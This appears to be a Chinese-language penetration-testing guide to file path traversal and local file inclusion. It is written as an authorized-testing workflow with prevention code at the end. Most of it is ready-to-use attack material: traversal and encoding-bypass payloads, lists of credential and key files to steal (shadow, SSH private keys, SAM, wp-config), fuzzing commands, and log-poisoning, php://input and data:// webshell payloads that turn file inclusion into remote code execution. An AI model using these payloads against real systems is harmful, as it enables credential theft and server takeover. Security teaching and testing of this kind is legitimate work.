File Path Traversal Testing

文件路径遍历测试

目的

识别并利用文件路径遍历（目录遍历）漏洞，使攻击者能够读取服务器上的任意文件，其中可能包括敏感配置文件、凭据和源代码。当用户可控的输入未经适当验证就传递给文件系统 API 时，就会出现此类漏洞。

前提条件

必备工具

• 带开发者工具的 Web 浏览器
• Burp Suite 或 OWASP ZAP
• 用于测试载荷的 cURL
• 用于自动化测试的字典
• 用于模糊测试的 ffuf 或 wfuzz

必备知识

• HTTP 请求/响应结构
• Linux 和 Windows 文件系统布局
• Web 应用架构
• 对文件 API 的基本了解

输出与交付成果

1. 漏洞报告 - 识别遍历点并评估严重性
2. 利用证明 - 提取的文件内容
3. 影响评估 - 可访问的文件和数据泄露情况
4. 修复指南 - 安全编码建议

核心工作流

阶段 1：了解路径遍历

当应用使用用户输入构造文件路径时，就会发生路径遍历：

// Vulnerable PHP code example
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
    $template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);

攻击原理：

• ../ 序列可向上移动一级目录
• 串联多个序列以到达根目录
• 访问预期目录之外的文件

影响：

• 机密性 - 读取敏感文件
• 完整性 - 写入/修改文件（在某些情况下）
• 可用性 - 删除文件（在某些情况下）
• 代码执行 - 与文件上传或日志投毒结合时

阶段 2：识别遍历点

梳理应用中可能涉及文件操作的功能：

# Parameters that often handle files
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=

常见的易受攻击功能：

• 加载图像：/image?filename=23.jpg
• 选择模板：?template=blue.php
• 下载文件：/download?file=report.pdf
• 查看文档：/view?doc=manual.pdf
• 包含机制：?page=about

阶段 3：基本利用技术

简单路径遍历

# Basic Linux traversal
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd

# Windows traversal
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts

# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding

# Test payloads with curl
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"

注入绝对路径

# Direct absolute path (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ

# Direct absolute path (Windows)
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini

阶段 4：绕过技术

绕过已剥离的遍历序列

# When ../ is stripped once
....//....//....//etc/passwd
....\/....\/....\/etc/passwd

# Nested traversal
..././..././..././etc/passwd
....//....//etc/passwd

# Mixed encoding
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

绕过扩展名验证

# Null byte injection (older PHP versions)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png

# Path truncation
../../../etc/passwd...............................

# Double extension
../../../etc/passwd.jpg.php

绕过基目录验证

# When path must start with expected directory
/var/www/images/../../../etc/passwd

# Expected path followed by traversal
images/../../../etc/passwd

绕过黑名单过滤器

# Unicode/UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc/passwd
..%c1%9c..%c1%9c..%c1%9cetc/passwd

# Overlong UTF-8 encoding
%c0%2e%c0%2e%c0%af

# URL encoding variations
%2e%2e/
%2e%2e%5c
..%5c
..%255c

# Case variations (Windows)
....\\....\\etc\\passwd

阶段 5：Linux 目标文件

高价值目标文件：

# System files
/etc/passwd           # User accounts
/etc/shadow           # Password hashes (root only)
/etc/group            # Group information
/etc/hosts            # Host mappings
/etc/hostname         # System hostname
/etc/issue            # System banner

# SSH files
/root/.ssh/id_rsa           # Root private key
/root/.ssh/authorized_keys  # Authorized keys
/home/<user>/.ssh/id_rsa    # User private keys
/etc/ssh/sshd_config        # SSH configuration

# Web server files
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/apache2/sites-enabled/000-default.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log

# Application files
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess
/var/www/html/web.config

# Process information
/proc/self/environ      # Environment variables
/proc/self/cmdline      # Process command line
/proc/self/fd/0         # File descriptors
/proc/version           # Kernel version

# Common application configs
/etc/mysql/my.cnf
/etc/postgresql/*/postgresql.conf
/opt/lampp/etc/httpd.conf

阶段 6：Windows 目标文件

Windows 特有的目标：

# System files
C:\windows\win.ini
C:\windows\system.ini
C:\boot.ini
C:\windows\system32\drivers\etc\hosts
C:\windows\system32\config\SAM
C:\windows\repair\SAM

# IIS files
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\

# Configuration files
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\data\mysql\user.MYD
C:\xampp\passwords.txt
C:\xampp\phpmyadmin\config.inc.php

# User files
C:\Users\<user>\.ssh\id_rsa
C:\Users\<user>\Desktop\
C:\Documents and Settings\<user>\

阶段 7：自动化测试

使用 Burp Suite

1. Capture request with file parameter
2. Send to Intruder
3. Mark file parameter value as payload position
4. Load path traversal wordlist
5. Start attack
6. Filter responses by size/content for success

使用 ffuf

# Basic traversal fuzzing
ffuf -u "http://target.com/image?filename=FUZZ" \
     -w /usr/share/wordlists/traversal.txt \
     -mc 200

# Fuzzing with encoding
ffuf -u "http://target.com/page?file=FUZZ" \
     -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -mc 200,500 -ac

使用 wfuzz

# Traverse to /etc/passwd
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
      --hc 404 \
      "http://target.com/index.php?file=FUZZ"

# With headers/cookies
wfuzz -c -z file,traversal.txt \
      -H "Cookie: session=abc123" \
      "http://target.com/load?path=FUZZ"

阶段 8：从 LFI 升级到 RCE

日志投毒

# Inject PHP code into logs
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# Include Apache log file
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"

# Include auth.log (SSH)
# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"

Proc/self/environ

# Inject via User-Agent
curl -A "<?php system('id'); ?>" \
     "http://target.com/page?file=/proc/self/environ"

# With command parameter
curl -A "<?php system(\$_GET['c']); ?>" \
     "http://target.com/page?file=/proc/self/environ&c=whoami"

PHP Wrapper 利用

# php://filter - Read source code as base64
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"

# php://input - Execute POST data as PHP
curl -X POST -d "<?php system('id'); ?>" \
     "http://target.com/page?file=php://input"

# data:// - Execute inline PHP
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"

# expect:// - Execute system commands
curl "http://target.com/page?file=expect://id"

阶段 9：测试方法

结构化测试方法：

# Step 1: Identify potential parameters
# Look for file-related functionality

# Step 2: Test basic traversal
../../../etc/passwd

# Step 3: Test encoding variations
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Step 4: Test bypass techniques
....//....//....//etc/passwd
..;/..;/..;/etc/passwd

# Step 5: Test absolute paths
/etc/passwd

# Step 6: Test with null bytes (legacy)
../../../etc/passwd%00.jpg

# Step 7: Attempt wrapper exploitation
php://filter/convert.base64-encode/resource=index.php

# Step 8: Attempt log poisoning for RCE

阶段 10：预防措施

安全编码实践：

// PHP: Use basename() to strip paths
$filename = basename($_GET['file']);
$path = "/var/www/files/" . $filename;

// PHP: Validate against whitelist
$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];
if (in_array($_GET['file'], $allowed)) {
    include("/var/www/files/" . $_GET['file']);
}

// PHP: Canonicalize and verify base path
$base = "/var/www/files/";
$realBase = realpath($base);
$userPath = $base . $_GET['file'];
$realUserPath = realpath($userPath);

if ($realUserPath && strpos($realUserPath, $realBase) === 0) {
    include($realUserPath);
}

# Python: Use os.path.realpath() and validate
import os

def safe_file_access(base_dir, filename):
    # Resolve to absolute path
    base = os.path.realpath(base_dir)
    file_path = os.path.realpath(os.path.join(base, filename))
    
    # Verify file is within base directory
    if file_path.startswith(base):
        return open(file_path, 'r').read()
    else:
        raise Exception("Access denied")

快速参考

常见载荷

载荷	目标
../../../etc/passwd	Linux 密码文件
..\..\..\..\windows\win.ini	Windows INI 文件
....//....//....//etc/passwd	绕过简单过滤器
/etc/passwd	绝对路径
php://filter/convert.base64-encode/resource=config.php	源代码

目标文件

操作系统	文件	用途
Linux	/etc/passwd	用户账户
Linux	/etc/shadow	密码哈希
Linux	/proc/self/environ	环境变量
Windows	C:\windows\win.ini	系统配置
Windows	C:\boot.ini	启动配置
Web	wp-config.php	WordPress 数据库凭据

编码变体

类型	示例
URL 编码	%2e%2e%2f = ../
双重编码	%252e%252e%252f = ../
Unicode	%c0%af = /
空字节	%00

限制与约束

权限限制

• 无法读取应用用户无权访问的文件
• Shadow 文件需要 root 权限
• 许多文件都设置了严格的访问权限

应用限制

• 扩展名验证可能会限制文件类型
• 基础路径验证可能会限制范围
• WAF 可能会拦截常见载荷

测试注意事项

• 遵守授权范围
• 避免访问真正敏感的数据
• 记录所有成功的访问

故障排除

问题	解决方案
响应没有差异	尝试编码、盲遍历和不同文件
载荷被拦截	使用不同的编码变体、嵌套序列和大小写变体
无法升级到 RCE	检查日志、PHP 包装器、文件上传和会话投毒